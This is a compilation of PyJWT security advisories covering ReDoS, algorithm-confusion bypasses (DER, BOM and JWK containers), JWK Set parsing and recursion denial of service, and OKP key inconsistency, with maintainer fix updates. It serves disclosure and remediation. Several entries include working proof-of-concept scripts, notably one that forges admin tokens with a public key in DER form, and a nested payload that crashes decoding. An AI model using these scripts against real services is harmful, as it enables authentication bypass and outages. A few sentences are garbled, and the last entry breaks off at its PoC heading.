There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC
import time
import re

BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers

def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed

for n in (1000, 2000, 4000, 8000):
    measure(n)
Impact

The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10):

We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Severity

  • CVSS Score: 4.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

CVE-2026-102271 / GHSA-p4g4-x82p-q773 / PYSEC-2026-4149

More information

Details

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

  • Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
  • Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
  • DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")

def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()

##### PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

##### Same key, DER form. The forged token verifies.
print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"]))
print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"]))

Output:

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s
DER SPKI accepted: {'user': 'admin', 'role': 'admin'}
DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}

The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.

We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.

Impact

Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.

Who is affected: applications that verify tokens with an asymmetric public key, also list an HS* algorithm pass that public key to jwt.decode as DER bytes.

What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.

What limits it: the application must already be in the mixed HS* and RS* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.

Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT BOM Bypass

CVE-2026-102272 / GHSA-r6x4-923q-g947 / PYSEC-2026-4150

More information

Details

Affected Package

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.prepare_key() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

stripped = key_bytes.lstrip() # strips ASCII whitespace only
if stripped.startswith(b"{"): # JWK detection
 ...
 raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.


PoC Sketch (pseudocode — not a weaponized payload)

##### 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint)
##### and prepends a UTF-8 BOM byte sequence before the JSON opening brace.

##### 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret.
##### 3. Attacker submits the forged token to a verifier that:

##### - accepts algorithms=["HS256", "RS256"]
##### - holds the same RSA public key as raw bytes (BOM-prefixed key file)

##### 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK
##### detection check to be skipped — the RSA JWK bytes become a valid HMAC key.

##### Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact
is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.


Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known
BOM prefixes before the JSON detection check:


##### Strip common BOM prefixes in addition to ASCII whitespace
BOM_PREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff")
stripped = key_bytes
for bom in BOM_PREFIXES:
 if stripped.startswith(bom):
 stripped = stripped[len(bom):]
 break
stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism
instead of a byte-prefix check, so encoding variants and whitespace are
handled by the JSON parser:

try:
 test_obj = json.loads(key_bytes.strip())
 if isinstance(test_obj, dict) and "kty" in test_obj:
 raise InvalidKeyError("The specified key is an asymmetric key...")
except (ValueError, UnicodeDecodeError):
 pass

Option B is preferred because it is resilient to any future encoding variant.


Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.prepare_key() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT accepts public JWK containers as HMAC secrets

CVE-2026-102273 / GHSA-w2cx-738m-mc7w / PYSEC-2026-4151

More information

Details

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when
an application mixes symmetric and asymmetric algorithms in one verification
path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it
is wrapped in a JWKS object, nested in an array, or represented in another
container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512
tokens if the application simultaneously:

  • allows both HS* and asymmetric algorithms;
  • passes raw public JWK/JWKS JSON as key=; and
  • uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The
issue does not affect applications that keep symmetric and asymmetric
verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.prepare_key now rejects public JWK members found in
objects, arrays, nested containers, BOM/UTF variants, and recursion-limit
inputs. It also recognizes escaped JSON member names without treating ordinary
string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox
matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,
package metadata, and coverage passed; unavailable interpreters were skipped
by the project configuration. A fresh independent Astra/max security review
accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development
branch; the patched version will be recorded when a released 2.x version
containing the fix is available. This advisory is being moved to draft pending
that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private
advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set

CVE-2026-102274 / GHSA-w6j9-cwv2-h6wq / PYSEC-2026-4152

More information

Details

Summary

A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because RSAAlgorithm.from_jwk can raise a plain ValueError that isn't caught by PyJWKSet's per-key error-skipping logic.

Affected component / version
  • Package: PyJWT (PyPI, ecosystem pip)
  • Files: jwt/api_jwk.py (PyJWK.__init__, PyJWKSet.__init__), jwt/algorithms.py (RSAAlgorithm.from_jwk)
  • Confirmed present in the master branch as of 2026-09-05 (commit 7144e4534c34810f4525dc4578a32addd8212cff, tag 2.13.0). Directly verified identical in tags 2.9.0, 2.10.0, 2.11.0, 2.12.0, 2.12.1, 2.13.0 -- the vulnerable call and the except PyJWTError guard are unchanged across all six releases. Not verified against any release prior to 2.9.0.
Details

PyJWKSet.__init__ (jwt/api_jwk.py:145-152) iterates each key in a JWK Set:

for key in keys:
    try:
        self.keys.append(PyJWK(key))
    except PyJWTError as error:
        if isinstance(error, MissingCryptographyError):
            raise error
        # skip unusable keys
        continue

PyJWK.__init__ (api_jwk.py:82) calls self.Algorithm.from_jwk(self._jwk_data) with no try/except of its own. For an RSA JWK, this dispatches to RSAAlgorithm.from_jwk (jwt/algorithms.py:539-586). When the JWK supplies d, e, n without the CRT parameters (p, q, dp, dq, qi), from_jwk calls cryptography's rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e) (algorithms.py:572-574) to derive the key. If d is not the correct private exponent for that n/e pair, rsa_recover_prime_factors raises a plain ValueError.

ValueError is a built-in Python exception and is not a subclass of jwt.exceptions.PyJWTError (PyJWTError(Exception) is the root of PyJWT's own exception hierarchy). It is therefore not caught by PyJWKSet.__init__'s except PyJWTError, and propagates out of the constructor, aborting the for key in keys: loop before any subsequent key in the list is processed.

PyJWKSet.from_dict/from_json and PyJWK.from_dict/from_json are exported public API (jwt/__init__.py). PyJWKClient.get_jwk_set (jwt/jwks_client.py:158) feeds a fetched JWKS HTTP response directly into PyJWKSet.from_dict with no per-key pre-validation, so this is reachable through the documented PyJWKClient flow whenever the fetched JWKS contains a malformed key alongside valid ones.

Proof of concept
import jwt

good_jwk = {
    "kty": "RSA",
    "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>",
    "e": "AQAB",
}

bad_jwk = {
    "kty": "RSA",
    "n": good_jwk["n"],
    "e": "AQAB",
    "d": "AAAAAA",  # not the true private exponent for n/e, no CRT params present
}

jwks_doc = {"keys": [bad_jwk, good_jwk]}

jwt.PyJWKSet.from_dict(jwks_doc)

##### raises: ValueError: Unable to compute factors p and q from exponent d.
##### (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added)
Impact

PyJWKSet.__init__ raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught ValueError, not one of PyJWT's documented jwt.exceptions.* types, so exception handling written against PyJWT's documented contract (except jwt.exceptions.PyJWTError) will not catch it either.

Suggested remediation

Wrap the key-construction call in PyJWK.__init__ (api_jwk.py:82) so a ValueError is converted into InvalidKeyError (a PyJWTError subclass):

try:
    self.key = self.Algorithm.from_jwk(self._jwk_data)
except ValueError as e:
    raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e

This lets PyJWKSet.__init__'s existing except PyJWTError: continue skip the one malformed key as its own comment already states is intended.

Responsible Disclosure Timeline

Per the OWASP Vulnerability Disclosure Cheat Sheet and Google Project Zero's 2020 disclosure policy:

  • Day 0 (date of submission): to be set to the actual API response's created_at timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05.
  • Day 90 (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05.
  • A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case.
  • This window may shorten instead of extend if the issue is confirmed under active exploitation.
Try It Yourself (Sandbox)

Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.

Credit

Discovered and reported by SecDim Security Research: secdim.com, @​secdim, security@secdim.com.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 with cryptography installed: a malformed RSA private JWK containing an invalid d value and no CRT parameters raised a plain ValueError while parsing a JWK set. Because PyJWKSet skips PyJWTError instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.

The independently verified affected range is >= 2.9.0, <= 2.13.0; earlier releases were not checked. A narrow fix has been prepared in commit 8915570 based on master commit 5fa7594: PyJWK converts key-construction ValueError exceptions to InvalidKeyError, allowing the existing PyJWKSet skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)

CVE-2026-101918 / GHSA-42vr-xj54-vc7v / PYSEC-2026-4141

More information

Details

Summary

PyJWKClient.get_signing_key_from_jwt(token) — the first step of the JWKS
verification flow documented in docs/usage.rst — must decode a token's
payload before its signature can be checked, via
jwt.api_jwt.decode_complete(token, options={"verify_signature": False}).
That call parses the payload with json.loads in PyJWT._decode_payload
(jwt/api_jwt.py:297-300), whose except clause catches only ValueError.
A payload that is valid JSON but nested ~20,000 levels deep makes
json.loads raise RecursionError, which is not a ValueError and
escapes as a raw, undocumented exception type — not DecodeError,
InvalidTokenError, or PyJWTError, so every documented error-handling
pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash
happens during payload parsing, before the kid is even looked up. A
single unauthenticated ~50KB request crashes the caller's auth handler
(HTTP 500 / dead worker), repeatably. The same path is reachable through
plain jwt.decode(token, options={"verify_signature": False}) too.

Notably, this project already fixed the identical bug class for the
JWS header path — PyJWS._load catches (ValueError, RecursionError)
and wraps it in DecodeError (jwt/api_jws.py:360-361), and
CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and
malformed JWS/JWK input without uncaught recursion errors." The payload
path — the one part of a forged token an unauthenticated attacker fully
controls — was left catching ValueError alone, so that security fix does
not fully hold.

A second, related instance: PyJWKClient.fetch_data (jwt/jwks_client.py:168)
parses a JWKS endpoint's response with json.load(response) inside a
try that only catches (URLError, TimeoutError, http.client.HTTPException)
— a deeply-nested JSON response from a JWKS endpoint raises the same raw
RecursionError, uncaught entirely (worse than the payload path, which at
least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0,
and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction
import base64, json, jwt

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64url(b"[" * 20_000 + b"]" * 20_000)
token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verify_signature": False})

##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header
instead of its payload is correctly converted to jwt.DecodeError by the
already-hardened jwt/api_jws.py:360 — confirming the payload path is
specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path.
Not an auth bypass — rated medium. With signature verification enabled,
this parse runs after _verify_signature, so only the pre-verification
paths (get_signing_key_from_jwt, explicit verify_signature=False) are
attacker-reachable pre-auth; the JWKS-endpoint variant requires control of
(or a MITM on) the configured JWKS endpoint rather than being reachable
from an arbitrary client token.

Suggested fix

In jwt/api_jwt.py:299, change except ValueError as e: to
except (ValueError, RecursionError) as e:, mirroring
jwt/api_jws.py:360 exactly. In jwt/jwks_client.py, add the same
(ValueError, RecursionError) handling around json.load(response) in
fetch_data, raising PyJWKClientError (consistent with the method's
existing documented error contract). A patch implementing both, verified
against the full test suite (457 passed, 4 skipped — pre-existing,
environment-related) and against the reproduction above (now correctly
raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep)
— a semantic code-retrieval tool that surfaces every other call site of a
symbol alongside relevance-ranked results, which is what surfaced the
already-hardened header path as the direct comparison here — paired with
an LLM coding agent (GLM-5.3) run as an open-ended security review of this
repository. Independently reproduced against the exact commit above before
this report was written. Happy to share the full session transcript on
request.

Disclosure status

Not shared with any other party or published. Submitting through this
private channel per the project's stated security policy; no planned
public/conference disclosure ahead of a coordinated timeline.


Maintainer triage update (2026-09-22)
Confirmed finding and scope

We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verify_signature=False and PyJWKClient.get_signing_key_from_jwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patched_versions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patched_versions and advisory lifecycle can be updated in a separate approved batch.


Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit
5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive
payload parse failure to the expected DecodeError; commit
9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests
deterministic across supported Python versions. This update supersedes the
2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the
PyJWKClient.get_signing_key_from_jwt path were covered by regression tests.
The exact landed tree passed the full 39-environment local tox matrix and
GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed
all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact
remains an uncaught request-level exception in affected releases; there is
still no evidence of process termination, persistent resource exhaustion,
authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest
released version is 2.14.0, which predates these commits; no released
patched version exists yet, so patched_versions remains unset. CVSS v3.1
5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from
triage to private draft. The next lifecycle step is a new supported 2.x
release containing the fix, followed by separately approved patched-version
and publication updates after release verification.


Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion

CVE-2026-102275 / GHSA-x33g-cr3x-6449 / PYSEC-2026-4183

More information

Details

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.from_jwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

if "x" not in obj:
    raise InvalidKeyError('OKP should have "x" parameter')

x = base64url_decode(obj.get("x"))

if "d" not in obj:
    if curve == "Ed25519":
        return Ed25519PublicKey.from_public_bytes(x)
    return Ed448PublicKey.from_public_bytes(x)

d = base64url_decode(obj.get("d"))

if curve == "Ed25519":
    return Ed25519PrivateKey.from_private_bytes(d)

return Ed448PrivateKey.from_private_bytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

{
  "kty": "OKP",
  "crv": "Ed25519",
  "x": "<legitimate-user-public-key>",
  "d": "<attacker-private-key>"
}

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

  • Ed25519: PyJWT 2.1.0+
  • Ed448: PyJWT 2.2.0+
  • Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

